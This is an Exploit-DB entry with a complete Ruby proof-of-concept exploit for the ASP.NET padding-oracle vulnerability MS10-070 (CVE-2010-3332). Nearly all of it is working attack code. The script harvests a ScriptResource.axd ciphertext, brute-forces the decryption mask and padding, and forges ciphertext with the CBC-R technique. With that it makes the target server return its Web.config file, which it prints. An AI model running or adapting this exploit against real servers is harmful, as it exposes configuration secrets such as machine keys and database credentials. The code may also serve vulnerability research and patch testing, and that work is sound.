ASP.NET Auto-Decryptor File Download Exploit (MS10-070)



EDB-ID: 15292 CVE: 2010-3332 OSVDB-ID: 68127
Author: Agustin Azubel Published: 2010-10-20 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#!/usr/bin/ruby -w

#
#  aspx_ad_chotext_attack.rb
#
#  Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#
#  http://www.ampliasecurity.com
#  Agustin Azubel - aazubel@ampliasecurity.com
#
#
#  MS10-070 ASPX proof of concept
#    Decrypt data using an auto decryptor bundled in the aspx framework
#    Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#


require 'net/http'
require 'uri'
require 'rexml/document'


$debugging = false



module XArray
  def hex_inspect
    "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
  end
end

class Array
  include XArray
end




require 'base64'

class XBase64
  def self.encode s
    s = Base64.encode64 s
    s = s.gsub '+', '-'
    s = s.gsub '/', '_'
    s = s.gsub "\n", ''
    s = s.gsub "\r", ''

    s = XBase64.encode_base64_padding s
  end

  def self.encode_base64_padding s
    padding_length = 0
    padding_length += 1 while s[-1 - padding_length, 1] == "="
    s[0..(-1 - padding_length)] + padding_length.to_s
  end


  def self.decode s
    s = s.gsub '-', '+'
    s = s.gsub '_', '/'

    s = self.decode_base64_padding s

    Base64.decode64 s
  end

  def self.decode_base64_padding s
    padding_length = s[-1,1].to_i
    s[0...-1] + ("=" * padding_length)
  end
end


module XString
  def xor other
    raise RuntimeError, "length mismatch" if self.length != other.length
    (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
  end
  alias ^ :xor

  def hex_inspect
    printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
                 (0x20..0x7e).entries

    "[#{length}]" + "\"#{unpack("C*").map { |x|
                      printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
  end

  def to_blocks blocksize
    (0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
  end
end

class String
  include XString
end



class ASPXAutoDecryptorChosenCiphertextAttack
  attr_reader :uri
  attr_reader :filename
  attr_reader :min_filelength
  attr_reader :filere
  attr_reader :http
  attr_reader :d_value
  attr_reader :blocksize
  attr_reader :padding_length
  attr_reader :decrypt_command_mask
  attr_reader :axdpath
  attr_reader :axdname
  attr_reader :base_mask
  
  def initialize parameters
    @uri = URI.parse parameters[:uri]
    @filename = parameters[:filename]
    @min_filelength = parameters[:min_filelength]
    @filere = parameters[:filere]
    @http = http_initialize
    @d_value = nil
    @base_mask = rand 0xffff
    @decrypt_command_mask = nil
    @blocksize = nil
    @padding_length = nil
    @axdpath = nil
    @axdname = nil
    
    puts "target: #{@uri}"
    puts "base_mask: 0x%04x" % @base_mask
  end

  def http_initialize
    http = Net::HTTP.new @uri.host, @uri.port
    http.start
    http
  end


  def parse_script_tag xml, re
    d = nil

    doc = REXML::Document.new xml
    doc.elements.each 'script' do |e|
      src_attribute = e.attributes['src']
      md = re.match src_attribute
      d = md[1]
      break
    end

    raise RuntimeError, "could not parse script_tag" unless d

    d
  end  
  private :parse_script_tag
  
  def get_ciphertext_sample
    [ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],
    ].each do |name, re|

        headers = { 'User-Agent' => \
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

        response = http.get uri.path, headers
        body = response.body

        script_tags = body.lines.select { |x| x.index name }

        next if script_tags.empty?

        puts "script tags using #{name} [#{script_tags.length}]:"
        puts script_tags.map { |x| "\t#{x}" }

        d = parse_script_tag script_tags[0], re

        puts "using script: #{name}"
        puts "using d_value: #{d}"

        @axdpath = uri.path[0, uri.path.rindex('/')]
        @axdname = name
        @d_value = ("\x00" * 16) + (XBase64.decode d)
        break
    end

    raise RuntimeError, "could not find any axd sample" unless d_value

    d_value
  end

  def parse_html_body h, body
    parsed = String.new
    
    doc = REXML::Document.new body
    doc.elements.each h do |e|
      parsed = e.text
      break
    end
    
    parsed
  end

  def send_request d
    request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
    request['Connection'] = 'Keep-Alive'
    @http.request request
  end
  
  def decrypt d
    ciphertext = d.clone
    ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"

    response = send_request ciphertext

    parse_html_body 'html/head/title', response.body
  end
  
  def discover_decrypt_command
    puts "discovering decrypt command..."

    ciphertext = d_value.clone
    1.upto 0xffff do |mask|
      ciphertext[0, 2] = [ base_mask + mask ].pack "S"
      
      response = send_request ciphertext

      print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d" % \
                                     [ mask,                   response.code,   response.body.length ]

      next unless response.code == "200"

      begin
        puts parse_html_body 'html/head/title', response.body
        @decrypt_command_mask = base_mask + mask
      rescue Exception => e
        puts e
        puts "exception !"
        next
      end

      break
    end
    
    puts
    
    raise RuntimeError, "no more combinations to try !" unless decrypt_command_mask
    puts "decrypted !!!"
    
    decrypt_command_mask
  end



  def discover_blocksize_and_padding_length
    puts "discovering blocksize and padding length..."

    [ 16, 8 ].each do |b|
      0.upto b - 1 do |i|
        ciphertext = @d_value.clone
        ciphertext[-(b * 2) + i] ^= 0x01
        begin
          decrypt ciphertext
        rescue Exception => e
          @blocksize = b
          @padding_length = blocksize - i
          break
        end
      end
      break if blocksize
    end

    raise RuntimeError, "no more combinations to try !" unless blocksize

    puts "discovered padding length: #{padding_length}"
    puts "discovered blocksize: #{blocksize}"
    
    [ blocksize, padding_length]
  end

  def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
    puts "cipher_blocks.count: #{cipher_blocks.count}"

    required_block_count = 1 + new_plaintext_blocks.count + 1
    puts "required_block_count: #{required_block_count}"
    
    if required_block_count < cipher_blocks.count then
      delta = cipher_blocks.count - required_block_count
      puts "removing #{delta} extra blocks..."
      cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
    elsif required_block_count > cipher_blocks.count then
      delta = required_block_count - cipher_blocks.count
      puts "adding #{delta} extra_blocks..."
      cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
    end

    puts "cipher_blocks.count: #{cipher_blocks.count}"

    cipher_blocks
  end
  private :reallocate_cipher_blocks

  def generate_new_plaintext_blocks
    tail_padding = "\x01"
    head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
    head_padding_length = 0 if head_padding_length == blocksize
    head_padding = "\x00" * head_padding_length
    new_plaintext = head_padding + @filename + tail_padding

    new_plaintext.to_blocks blocksize
  end
  private :generate_new_plaintext_blocks

  def encrypt
    puts "encrypting \"#{@filename.hex_inspect}..."

    new_plaintext_blocks = generate_new_plaintext_blocks

    cipher_blocks = @d_value.to_blocks blocksize
    cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks

    (1..new_plaintext_blocks.count).each do |i|
      puts "round #{i} of #{new_plaintext_blocks.count}"
      
      new_plaintext_block = new_plaintext_blocks[-i]

      old_cleartext = decrypt cipher_blocks.join
      old_plaintext = old_cleartext + (padding_length.chr * padding_length)
      puts "old_plaintext: #{old_plaintext.hex_inspect}"

      old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize

      old_plaintext_block = old_plaintext_blocks[-i]

      normalization_table = old_plaintext_block.bytes.map { |x| x >= 0x80 or x == 0x0a }
      if normalization_table.include? true
        j = blocksize - (normalization_table.rindex true)
        cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
        puts "normalization needed for \"\\x%x\", j: %d !" % [ old_plaintext_block[-j], -j]
        redo
      end

      cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block

      @padding_length = 1 if i == 1
    end

    cleartext = decrypt cipher_blocks.join
    puts "new cleartext: #{cleartext.hex_inspect}"
    
#    raise RuntimeError, "too many \"|\" characters!" if cleartext.count("|") > 3

    @d_value = cipher_blocks.join
  end

  def discover_escape_sequence
    puts "discovering escape sequence..."

    escape_sequence_mask = nil

    offset = base_mask % (blocksize - 4)

    ciphertext = d_value.clone
    0x1ffff.times do |mask|
      ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

      response = send_request ciphertext
      print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d" % \
                                 [   mask,                   response.code,    response.body.length ]

      next unless response.code == "200"
      
      next if min_filelength and (response.body.length < min_filelength)

      next if filere and (not filere =~ response.body)
      
      escape_sequence_mask = base_mask + mask

      puts
      puts "found!"

      unless $debugging
        puts "press any key to show the contents of the file"
        $stdin.gets
      end
      
      puts response.body
      break
    end
    puts

    raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask

    escape_sequence_mask
  end

  def pause
    return if $debugging
    puts
    puts "press any key to start the attack"
    $stdin.gets
  end

  def run
    get_ciphertext_sample
    pause
    discover_decrypt_command
    discover_blocksize_and_padding_length
    encrypt
    discover_escape_sequence
  end
end



puts [ "-------------------------------------------",
       "aspx_ad_chotext_attack.rb",
       "(c) 2010 AmpliaSECURITY",
       "http://www.ampliasecurity.com",
       "Agustin Azubel - aazubel@ampliasecurity.com",
       "-------------------------------------------",
       "\n" ].join "\n"



if ARGV.length != 1 then
  $stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
  exit
end

begin
  parameters = {
    :uri => ARGV.first,
    :filename => "|||~/Web.config",
#    :min_filelength => 3000,
    :filere => /configuration/
  }

  x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
  x.run
rescue Exception => e
  $stderr.puts "Exploit failed: #{e}"
  
  raise if $debugging
end